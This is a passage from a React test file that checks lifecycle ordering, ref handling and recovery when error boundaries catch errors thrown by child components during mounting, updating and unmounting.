<ErrorBoundary>\n        <Normal />\n        <BrokenRender />\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      // Render first child\n      'Normal constructor',\n      'Normal componentWillMount',\n      'Normal render',\n      // Render second child (it throws)\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Skip the remaining siblings\n      // Finish mounting with null children\n      'ErrorBoundary componentDidMount',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      // Render the error message\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('resets callback refs if mounting aborts', () => {\n    function childRef(x) {\n      log.push('Child ref is set to ' + x);\n    }\n    function errorMessageRef(x) {\n      log.push('Error message ref is set to ' + x);\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary errorMessageRef={errorMessageRef}>\n        <div ref={childRef} />\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Handle error:\n      // Finish mounting with null children\n      'ErrorBoundary componentDidMount',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      // Render the error message\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'Error message ref is set to [object HTMLDivElement]',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual([\n      'ErrorBoundary componentWillUnmount',\n      'Error message ref is set to null',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('resets object refs if mounting aborts', () => {\n    const childRef = React.createRef();\n    const errorMessageRef = React.createRef();\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary errorMessageRef={errorMessageRef}>\n        <div ref={childRef} />\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Handle error:\n      // Finish mounting with null children\n      'ErrorBoundary componentDidMount',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      // Render the error message\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n    expect(errorMessageRef.current.toString()).toEqual(\n      '[object HTMLDivElement]',\n    );\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n    expect(errorMessageRef.current).toEqual(null);\n  });\n\n  // @gate !disableLegacyMode\n  it('successfully mounts if no error occurs', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <div>Mounted successfully.</div>\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Mounted successfully.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('catches if child throws in constructor during update', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <Normal logName=\"Normal2\" />\n        <BrokenConstructor />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // Normal2 will attempt to mount:\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      // BrokenConstructor will abort rendering:\n      'BrokenConstructor constructor [!]',\n      // Finish updating with null children\n      'Normal componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      // Render the error message\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('catches if child throws in componentWillMount during update', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <Normal logName=\"Normal2\" />\n        <BrokenComponentWillMount />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // Normal2 will attempt to mount:\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      // BrokenComponentWillMount will abort rendering:\n      'BrokenComponentWillMount constructor',\n      'BrokenComponentWillMount componentWillMount [!]',\n      // Finish updating with null children\n      'Normal componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      // Render the error message\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('catches if child throws in componentWillReceiveProps during update', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <BrokenComponentWillReceiveProps />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <BrokenComponentWillReceiveProps />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // BrokenComponentWillReceiveProps will abort rendering:\n      'BrokenComponentWillReceiveProps componentWillReceiveProps [!]',\n      // Finish updating with null children\n      'Normal componentWillUnmount',\n      'BrokenComponentWillReceiveProps componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('catches if child throws in componentWillUpdate during update', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <BrokenComponentWillUpdate />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <BrokenComponentWillUpdate />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // BrokenComponentWillUpdate will abort rendering:\n      'BrokenComponentWillUpdate componentWillReceiveProps',\n      'BrokenComponentWillUpdate componentWillUpdate [!]',\n      // Finish updating with null children\n      'Normal componentWillUnmount',\n      'BrokenComponentWillUpdate componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('catches if child throws in render during update', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <Normal logName=\"Normal2\" />\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      // Normal2 will attempt to mount:\n      'Normal2 constructor',\n      'Normal2 componentWillMount',\n      'Normal2 render',\n      // BrokenRender will abort rendering:\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Finish updating with null children\n      'Normal componentWillUnmount',\n      'ErrorBoundary componentDidUpdate',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('keeps refs up-to-date during updates', () => {\n    function child1Ref(x) {\n      log.push('Child1 ref is set to ' + x);\n    }\n    function child2Ref(x) {\n      log.push('Child2 ref is set to ' + x);\n    }\n    function errorMessageRef(x) {\n      log.push('Error message ref is set to ' + x);\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary errorMessageRef={errorMessageRef}>\n        <div ref={child1Ref} />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'Child1 ref is set to [object HTMLDivElement]',\n      'ErrorBoundary componentDidMount',\n    ]);\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary errorMessageRef={errorMessageRef}>\n        <div ref={child1Ref} />\n        <div ref={child2Ref} />\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      // BrokenRender will abort rendering:\n      'BrokenRender constructor',\n      'BrokenRender componentWillMount',\n      'BrokenRender render [!]',\n      // Finish updating with null children\n      'Child1 ref is set to null',\n      'ErrorBoundary componentDidUpdate',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'Error message ref is set to [object HTMLDivElement]',\n      // Child2 ref is never set because its mounting aborted\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual([\n      'ErrorBoundary componentWillUnmount',\n      'Error message ref is set to null',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('recovers from componentWillUnmount errors on update', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentWillUnmount />\n        <BrokenComponentWillUnmount />\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentWillUnmount />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      // Update existing child:\n      'BrokenComponentWillUnmount componentWillReceiveProps',\n      'BrokenComponentWillUnmount componentWillUpdate',\n      'BrokenComponentWillUnmount render',\n      // Unmounting throws:\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Fiber proceeds with lifecycles despite errors\n      'Normal componentWillUnmount',\n      // The components have updated in this phase\n      'BrokenComponentWillUnmount componentDidUpdate',\n      'ErrorBoundary componentDidUpdate',\n      // Now that commit phase is done, Fiber unmounts the boundary's children\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      'ErrorBoundary componentDidCatch',\n      // The initial render was aborted, so\n      // Fiber retries from the root.\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary componentDidUpdate',\n      // The second willUnmount error should be captured and logged, too.\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      // Render an error now (stack will do it later)\n      'ErrorBoundary render error',\n      // Attempt to unmount previous child:\n      // Done\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('recovers from nested componentWillUnmount errors on update', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal>\n          <BrokenComponentWillUnmount />\n        </Normal>\n        <BrokenComponentWillUnmount />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal>\n          <BrokenComponentWillUnmount />\n        </Normal>\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      // Update existing children:\n      'Normal componentWillReceiveProps',\n      'Normal componentWillUpdate',\n      'Normal render',\n      'BrokenComponentWillUnmount componentWillReceiveProps',\n      'BrokenComponentWillUnmount componentWillUpdate',\n      'BrokenComponentWillUnmount render',\n      // Unmounting throws:\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Fiber proceeds with lifecycles despite errors\n      'BrokenComponentWillUnmount componentDidUpdate',\n      'Normal componentDidUpdate',\n      'ErrorBoundary componentDidUpdate',\n      'Normal componentWillUnmount',\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Now that commit phase is done, Fiber handles errors\n      'ErrorBoundary componentDidCatch',\n      // The initial render was aborted, so\n      // Fiber retries from the root.\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary componentDidUpdate',\n      // The second willUnmount error should be captured and logged, too.\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      // Render an error now (stack will do it later)\n      'ErrorBoundary render error',\n      // Done\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('picks the right boundary when handling unmounting errors', () => {\n    function renderInnerError(error) {\n      return <div>Caught an inner error: {error.message}.</div>;\n    }\n    function renderOuterError(error) {\n      return <div>Caught an outer error: {error.message}.</div>;\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary\n        logName=\"OuterErrorBoundary\"\n        renderError={renderOuterError}>\n        <ErrorBoundary\n          logName=\"InnerErrorBoundary\"\n          renderError={renderInnerError}>\n          <BrokenComponentWillUnmount />\n        </ErrorBoundary>\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary\n        logName=\"OuterErrorBoundary\"\n        renderError={renderOuterError}>\n        <ErrorBoundary\n          logName=\"InnerErrorBoundary\"\n          renderError={renderInnerError}\n        />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an inner error: Hello.');\n    expect(log).toEqual([\n      // Update outer boundary\n      'OuterErrorBoundary componentWillReceiveProps',\n      'OuterErrorBoundary componentWillUpdate',\n      'OuterErrorBoundary render success',\n      // Update inner boundary\n      'InnerErrorBoundary componentWillReceiveProps',\n      'InnerErrorBoundary componentWillUpdate',\n      'InnerErrorBoundary render success',\n      // Try unmounting child\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Fiber proceeds with lifecycles despite errors\n      // Inner and outer boundaries have updated in this phase\n      'InnerErrorBoundary componentDidUpdate',\n      'OuterErrorBoundary componentDidUpdate',\n      // Now that commit phase is done, Fiber handles errors\n      // Only inner boundary receives the error:\n      'InnerErrorBoundary componentDidCatch',\n      'InnerErrorBoundary componentWillUpdate',\n      // Render an error now\n      'InnerErrorBoundary render error',\n      // In Fiber, this was a local update to the\n      // inner boundary so only its hook fires\n      'InnerErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual([\n      'OuterErrorBoundary componentWillUnmount',\n      'InnerErrorBoundary componentWillUnmount',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('can recover from error state', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n    // Error boundary doesn't retry by itself:\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    // Force the success path:\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary forceRetry={true}>\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).not.toContain('Caught an error');\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      // Mount children:\n      'Normal constructor',\n      'Normal componentWillMount',\n      'Normal render',\n      // Finalize updates:\n      'Normal componentDidMount',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual([\n      'ErrorBoundary componentWillUnmount',\n      'Normal componentWillUnmount',\n    ]);\n  });\n\n  // @gate !disableLegacyMode\n  it('can update multiple times in error state', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenRender />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    ReactDOM.render(<div>Other screen</div>, container);\n    expect(container.textContent).toBe('Other screen');\n\n    ReactDOM.unmountComponentAtNode(container);\n  });\n\n  // @gate !disableLegacyMode\n  it(\"doesn't get into inconsistent state during removals\", () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <BrokenComponentWillUnmount />\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n\n    ReactDOM.render(<ErrorBoundary />, container);\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it(\"doesn't get into inconsistent state during additions\", () => {\n    const container = document.createElement('div');\n    ReactDOM.render(<ErrorBoundary />, container);\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Normal />\n        <BrokenRender />\n        <Normal />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it(\"doesn't get into inconsistent state during reorders\", () => {\n    function getAMixOfNormalAndBrokenRenderElements() {\n      const elements = [];\n      for (let i = 0; i < 100; i++) {\n        elements.push(<Normal key={i} />);\n      }\n      elements.push(<MaybeBrokenRender key={100} />);\n\n      let currentIndex = elements.length;\n      while (0 !== currentIndex) {\n        const randomIndex = Math.floor(Math.random() * currentIndex);\n        currentIndex -= 1;\n        const temporaryValue = elements[currentIndex];\n        elements[currentIndex] = elements[randomIndex];\n        elements[randomIndex] = temporaryValue;\n      }\n      return elements;\n    }\n\n    class MaybeBrokenRender extends React.Component {\n      render() {\n        if (fail) {\n          throw new Error('Hello');\n        }\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    let fail = false;\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>{getAMixOfNormalAndBrokenRenderElements()}</ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).not.toContain('Caught an error');\n\n    fail = true;\n    ReactDOM.render(\n      <ErrorBoundary>{getAMixOfNormalAndBrokenRenderElements()}</ErrorBoundary>,\n      container,\n    );\n    expect(container.textContent).toBe('Caught an error: Hello.');\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('catches errors originating downstream', () => {\n    let fail = false;\n    class Stateful extends React.Component {\n      state = {shouldThrow: false};\n\n      render() {\n        if (fail) {\n          log.push('Stateful render [!]');\n          throw new Error('Hello');\n        }\n        return <div>{this.props.children}</div>;\n      }\n    }\n\n    let statefulInst;\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <Stateful ref={inst => (statefulInst = inst)} />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    expect(() => {\n      fail = true;\n      statefulInst.forceUpdate();\n    }).not.toThrow();\n\n    expect(log).toEqual([\n      'Stateful render [!]',\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('catches errors in componentDidMount', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentWillUnmount>\n          <Normal />\n        </BrokenComponentWillUnmount>\n        <BrokenComponentDidMount />\n        <Normal logName=\"LastChild\" />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentWillUnmount constructor',\n      'BrokenComponentWillUnmount componentWillMount',\n      'BrokenComponentWillUnmount render',\n      'Normal constructor',\n      'Normal componentWillMount',\n      'Normal render',\n      'BrokenComponentDidMount constructor',\n      'BrokenComponentDidMount componentWillMount',\n      'BrokenComponentDidMount render',\n      'LastChild constructor',\n      'LastChild componentWillMount',\n      'LastChild render',\n      // Start flushing didMount queue\n      'Normal componentDidMount',\n      'BrokenComponentWillUnmount componentDidMount',\n      'BrokenComponentDidMount componentDidMount [!]',\n      // Continue despite the error\n      'LastChild componentDidMount',\n      'ErrorBoundary componentDidMount',\n      // Now we are ready to handle the error\n      // Safely unmount every child\n      'BrokenComponentWillUnmount componentWillUnmount [!]',\n      // Continue unmounting safely despite any errors\n      'Normal componentWillUnmount',\n      'BrokenComponentDidMount componentWillUnmount',\n      'LastChild componentWillUnmount',\n      // Handle the error\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      // The willUnmount error should be captured and logged, too.\n      'ErrorBoundary componentDidUpdate',\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      // The update has finished\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('catches errors in componentDidUpdate', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentDidUpdate />\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentDidUpdate />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(log).toEqual([\n      'ErrorBoundary componentWillReceiveProps',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render success',\n      'BrokenComponentDidUpdate componentWillReceiveProps',\n      'BrokenComponentDidUpdate componentWillUpdate',\n      'BrokenComponentDidUpdate render',\n      // All lifecycles run\n      'BrokenComponentDidUpdate componentDidUpdate [!]',\n      'ErrorBoundary componentDidUpdate',\n      'BrokenComponentDidUpdate componentWillUnmount',\n      // Then, error is handled\n      'ErrorBoundary componentDidCatch',\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('propagates errors inside boundary during componentDidMount', () => {\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary>\n        <BrokenComponentDidMountErrorBoundary\n          renderError={error => (\n            <div>We should never catch our own error: {error.message}.</div>\n          )}\n        />\n      </ErrorBoundary>,\n      container,\n    );\n    expect(container.firstChild.textContent).toBe('Caught an error: Hello.');\n    expect(log).toEqual([\n      'ErrorBoundary constructor',\n      'ErrorBoundary componentWillMount',\n      'ErrorBoundary render success',\n      'BrokenComponentDidMountErrorBoundary constructor',\n      'BrokenComponentDidMountErrorBoundary componentWillMount',\n      'BrokenComponentDidMountErrorBoundary render success',\n      'BrokenComponentDidMountErrorBoundary componentDidMount [!]',\n      // Fiber proceeds with the hooks\n      'ErrorBoundary componentDidMount',\n      'BrokenComponentDidMountErrorBoundary componentWillUnmount',\n      // The error propagates to the higher boundary\n      'ErrorBoundary componentDidCatch',\n      // Fiber retries from the root\n      'ErrorBoundary componentWillUpdate',\n      'ErrorBoundary render error',\n      'ErrorBoundary componentDidUpdate',\n    ]);\n\n    log.length = 0;\n    ReactDOM.unmountComponentAtNode(container);\n    expect(log).toEqual(['ErrorBoundary componentWillUnmount']);\n  });\n\n  // @gate !disableLegacyMode\n  it('calls componentDidCatch for each error that is captured', () => {\n    function renderUnmountError(error) {\n      return <div>Caught an unmounting error: {error.message}.</div>;\n    }\n    function renderUpdateError(error) {\n      return <div>Caught an updating error: {error.message}.</div>;\n    }\n\n    const container = document.createElement('div');\n    ReactDOM.render(\n      <ErrorBoundary logName=\"OuterErrorBoundary\">\n        <ErrorBoundary\n          logName=\"InnerUnmountBoundary\"\n          renderError={renderUnmountError}>\n          <BrokenComponentWillUnmount errorText=\"E1\" />\n          <BrokenComponentWillUnmount errorText=\"E2\" />\n        </ErrorBoundary>\n        <ErrorBoundary\n          logName=\"InnerUpdateBoundary\"\n          renderError={renderUpdateError}>\n          <BrokenComponentDidUpdate errorText=\"E3\" />\n          <BrokenComponentDidUpdate errorText=\"E4\" />\n        </ErrorBoundary>\n      </ErrorBoundary>,\n      container,\n    );\n\n    log.length = 0;\n    ReactDOM.render(\n      <ErrorBoundary logName=\"OuterErrorBoundary\">\n        <ErrorBoundary\n          logName=\"InnerUnmountBoundary\"\n          renderError={renderUnmountError}\n        />\n        <ErrorBoundary\n          logName=\"InnerUpdateBoundary\"\n          renderError={renderUpdateError}>\n          <BrokenComponentDidUpdate errorText=\"E3\" />\n          <BrokenComponentDidUpdate errorText=\"E4\" />\n        </ErrorBoundary>\n      </ErrorBoundary>,\n      container,\n    );\n\n    expect(container.firstChild.textContent).toBe(\n      'Caught an unmounting error: E2.' + 'Caught an updating error: E4.',\n    );\n    expect(log).toEqual([\n      // Begin update phase\n      'OuterErrorBoundary componentWillReceiveProps',\n      'OuterErrorBoundary componentWillUpdate',\n      'OuterErrorBoundary render success',\n      'InnerUnmountBoundary componentWillReceiveProps',\n      'InnerUnmountBoundary componentWillUpdate',\n      'InnerUnmountBoundary render success',\n      'InnerUpdateBoundary componentWillReceiveProps',\n      'InnerUpdateBoundary componentWillUpdate',\n      'InnerUpdateBoundary render success',\n      // First come the updates\n      'BrokenComponentDidUpdate componentWillReceiveProps',\n      'BrokenComponentDidUpdate componentWillUpdate',\n      